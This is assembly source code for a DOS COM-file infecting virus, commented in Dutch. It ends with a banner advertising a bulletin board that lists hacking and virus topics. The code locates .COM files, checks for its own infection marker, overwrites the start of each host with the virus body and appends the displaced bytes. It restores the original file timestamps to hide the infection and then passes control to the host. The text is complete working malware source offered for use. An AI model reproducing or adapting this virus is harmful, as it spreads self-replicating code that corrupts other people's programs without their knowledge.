Code Segment Assume CS:Code,DS:Code,ES:Code V_Length Equ Program - Main F_Name Equ 0FC1Eh F_Time Equ 0FC16h F_Date Equ 0FC18h HAdr Equ 0FD00h DTA Equ 0FC00h Org 100h Main: push [BOP] ;bewaar orginele offset programma mov ah,1ah ;DTA boven neerzetten mov dx,DTA ;DTA adres int 21h mov ah,4eh ;zoek naar COM files mov dx,Offset Target xor cx,cx int 21h Read_file: mov ax,3d02h ;open het doelbestand mov dx,Offset F_Name int 21h mov bx,ax ;bewaar de file handle mov bp,cs:[F_Time] ;Bewaar de tijd mov di,cs:[F_Date] ;Bewaar de datum mov ah,3fh ;lees deel van het doelbestand mov dx,Hadr ;buffer adres mov cx,V_Length ;lengte van het 4us int 21h ;naar het hoog adres in mov si,dx ;Is het bestand al geinfecteerd? cmp Word Ptr [si],36ffh jne Infect_File ;Nee, infecteer het mov ah,4fh ;Zoek volgende COM bestand int 21h jc End_Infect jmp Short Read_File Infect_File: mov ax,4202h ;zoek naar het einde van doelbestand xor cx,cx ;ax bevat na het na het uitvoeren van xor dx,dx ;de interrupt de lengte van de file int 21h add ax,100h ;tel 100h bytes PSP erbij op en mov BOP,ax ;bewaar de lengte van het doelbestand mov ah,40h ;overschrijf begin van doelbestand mov cx,V_Length ;lengte van het 4us mov dx,HAdr ;buffer int 21h mov ax,4200h ;zoek het begin van het doelbestand op xor cx,cx xor dx,dx int 21h mov ah,40h ;schrijf de 4uscode over de file mov cx,V_Length ;lengte van het 4us mov dx,Offset Main int 21h mov ax,5701h ;zet orginele datum terug mov dx,di ;datum mov cx,bp ;tijd int 21h End_Infect: mov ah,3eh ;sluit het doelbestand af int 21h mov ah,1ah ;set DTA terug naar default mov dx,0080h int 21h cld ;voorwaarts mov di,HAdr ;buffer push di ;en nog een voor het verplaatsen straks mov si,Offset MoveBlock ;wijst naar relocator mov cx,Program - MoveBlock ;lengte relocator rep movsb ;verplaats het block ret ;en ga er naar toe BOP dw Offset Program MoveBlock: mov cx,V_Length ;aantal bytes dat verplaatst wordt pop si ;haal BOP terug via de stack mov di,0100h ;hier gaat het allemaal naar toe push di ;bewaar voor de RET rep movsb ;verplaatsen ret ;en start orginele programma op Target: db '*.com',0 Program: ;Dit is het fake programma wat later mov ah,4ch ;door de relocator verplaatst wordt int 21h ;naar het begin van de file Code Ends End Main ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ